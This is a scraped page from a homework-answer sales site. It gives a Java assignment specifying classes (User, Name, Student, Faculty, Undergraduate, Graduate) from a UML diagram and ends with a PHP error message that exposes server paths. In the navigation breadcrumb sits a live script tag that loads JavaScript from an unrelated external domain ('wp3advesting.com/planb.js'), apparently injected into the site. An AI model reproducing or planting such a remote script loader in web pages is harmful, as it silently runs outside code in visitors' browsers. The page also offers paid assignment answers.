Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> Language: JavaInfo for diagram in the first picture.This is a class diagram in UML. UML is Unified M

(Solved): Language: JavaInfo for diagram in the first picture.This is a class diagram in UML. UML is Unified M ...



Language: Java

Info for diagram in the first picture.

This is a class diagram in UML. UML is Unified ModelingLanguage. UML attempts to standardize the way we view systems. Thisis widely used in software engineering.

? “-” is to indicate private

? “+” is to indicate public

? “:” separates names from types

? In UML it goes “name : type” instead of “type name” like incode

? Return types are indicated by “: return type” after a methodname

? The arrowhead points to the parent class

? From a class diagram someone can easily write out the codewithout much thought.

? Class diagrams are also a simple way to describe a programsbehavior without showing implementation details.

? Class diagrams are a good way to plan before blindlycoding

Assignment 1 Based on the following class diagram and specifications generate the code. User - name : Name - id : long - password: String + User(i: long) + User(i : long, n: Name) + User (i : long, n: Name, p: String) + setName(n: Name) - setid (i : long) - setPassword(p: String) + getName(): Name + getido: long - getPassword(): String + changePassword(oldPass : String, newPass : String, newPass2: String): boolean + toString(): String -checkld(id: long): boolean -checkPassword(password: String): boolean + getFirst(): String + getLast(): String Student + Studenti: long, n: Name, p: String) + compute Gpa (grades : double[]): double Faculty - position : int + Faculty(i : long, n: Name, p: String, pos : String) + generateEmail(): String + getPosition (pos : String): int + toString 0 : String Undergraduate - year: String + Undergradute(i : long, n: Name.p: String, y: String) -checkYear(): String + toString(): String Graduate -exam Grade: double - attempts : int -ableToGraduate : boolean + Graduate (i: long, n: Name, p: String) + getAble ToGraduate(): boolean + update Exam Grade(grade: double): String -calculate Able ToGraduate + toString(): String Name is a class that has first, middle initial, and last name as attributes. It has all get and set methods. To construct a name requires first and last but middle initial is optional. Name should check that first, last and middle initial only contain letters and they should be stored with the first letter capital and the rest lower case. The middle initial should be stored as a single capital letter, if no middle initial was given then assign the character 'space to the variable. If the name is invalid the program should stop. Name should also have a toString method that displays the name as “last first, m." The User constructor that takes the password as a parameter should do some verification. If the password is not at least 8 characters long and does not have at least 2 numbers and 1 uppercase letter it should prompt the user to enter a new password. This process should repeat until a valid password is entered. (Hint: remember to handle the case where the User was constructed without a password) The set Password method does not need verification because it can only be called from the change Password method. The User constructors and setId method should also verify that the id is 8 digits long. (Hint: use a method to reduce the need to rewrite the same code twice) change Password should make sure the parameter oldPass and the current password are the exact same. Then it should check that the newPass and newPass 2 parameters are the exact same. Lastly it should make sure that newPass is a valid password and update the password attribute. getFirst and getLast in User are to allow access to the names for later use. computeGpa should return the average of the parameter. Undergraduates constructor should check that the year is either freshman, sophomore, junior, or senior. If it isn't any of these it should be set to unknown. All of Graduates attributes should be initialized to 0 and false. update ExamGrade is used to change the examGrade if it is better than the previous attempt and increase the attempts, or just increase the attempts. This method should also call the calculate AbleToGraduate method and return the appropriate String. ("this student is able to graduate” or “this student is not able to graduate") calculate AbleToGraduate should set the attribute ableToGraduate to true if the attempts is less than or equal to 2 and the grade is eighty or better. The Faculty constructor should use the following conversion table: dean chair professor secretary teaching assistant 4 otherwise The faculty emails are generated by the first 6 letters of their last names followed by their first initial followed by @newpaltz.edu Ex. Thomas Edwards -> edwardt@newpaltz.edu Add a toString method to user that returns: User id: # Name: "last first,m." Add a toString method to Undergraduate that returns: User id: # Name: "last first,m." Year: "..." Add a toString method to Graduate that returns: User id: # Name: "last first,m." Exam grade: # with #attempts Add a toString method to Faculty that returns: User id: # Name: "last first,m." Position: # Email: "generated email” Show transcribed image text Assignment 1 Based on the following class diagram and specifications generate the code. User - name : Name - id : long - password: String + User(i: long) + User(i : long, n: Name) + User (i : long, n: Name, p: String) + setName(n: Name) - setid (i : long) - setPassword(p: String) + getName(): Name + getido: long - getPassword(): String + changePassword(oldPass : String, newPass : String, newPass2: String): boolean + toString(): String -checkld(id: long): boolean -checkPassword(password: String): boolean + getFirst(): String + getLast(): String Student + Studenti: long, n: Name, p: String) + compute Gpa (grades : double[]): double Faculty - position : int + Faculty(i : long, n: Name, p: String, pos : String) + generateEmail(): String + getPosition (pos : String): int + toString 0 : String Undergraduate - year: String + Undergradute(i : long, n: Name.p: String, y: String) -checkYear(): String + toString(): String Graduate -exam Grade: double - attempts : int -ableToGraduate : boolean + Graduate (i: long, n: Name, p: String) + getAble ToGraduate(): boolean + update Exam Grade(grade: double): String -calculate Able ToGraduate + toString(): String
Name is a class that has first, middle initial, and last name as attributes. It has all get and set methods. To construct a name requires first and last but middle initial is optional. Name should check that first, last and middle initial only contain letters and they should be stored with the first letter capital and the rest lower case. The middle initial should be stored as a single capital letter, if no middle initial was given then assign the character 'space to the variable. If the name is invalid the program should stop. Name should also have a toString method that displays the name as “last first, m." The User constructor that takes the password as a parameter should do some verification. If the password is not at least 8 characters long and does not have at least 2 numbers and 1 uppercase letter it should prompt the user to enter a new password. This process should repeat until a valid password is entered. (Hint: remember to handle the case where the User was constructed without a password) The set Password method does not need verification because it can only be called from the change Password method. The User constructors and setId method should also verify that the id is 8 digits long. (Hint: use a method to reduce the need to rewrite the same code twice) change Password should make sure the parameter oldPass and the current password are the exact same. Then it should check that the newPass and newPass 2 parameters are the exact same. Lastly it should make sure that newPass is a valid password and update the password attribute. getFirst and getLast in User are to allow access to the names for later use. computeGpa should return the average of the parameter. Undergraduates constructor should check that the year is either freshman, sophomore, junior, or senior. If it isn't any of these it should be set to unknown. All of Graduates attributes should be initialized to 0 and false. update ExamGrade is used to change the examGrade if it is better than the previous attempt and increase the attempts, or just increase the attempts. This method should also call the calculate AbleToGraduate method and return the appropriate String. ("this student is able to graduate” or “this student is not able to graduate") calculate AbleToGraduate should set the attribute ableToGraduate to true if the attempts is less than or equal to 2 and the grade is eighty or better.
The Faculty constructor should use the following conversion table: dean chair professor secretary teaching assistant 4 otherwise The faculty emails are generated by the first 6 letters of their last names followed by their first initial followed by @newpaltz.edu Ex. Thomas Edwards -> edwardt@newpaltz.edu Add a toString method to user that returns: User id: # Name: "last first,m." Add a toString method to Undergraduate that returns: User id: # Name: "last first,m." Year: "..." Add a toString method to Graduate that returns: User id: # Name: "last first,m." Exam grade: # with #attempts Add a toString method to Faculty that returns: User id: # Name: "last first,m." Position: # Email: "generated email”


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now

A PHP Error was encountered

Severity: Core Warning

Message: PHP Startup: Unable to load dynamic library 'dba.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so (libtokyocabinet.so.9: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so: cannot open shared object file: No such file or directory))

Filename: Unknown

Line Number: 0

Backtrace: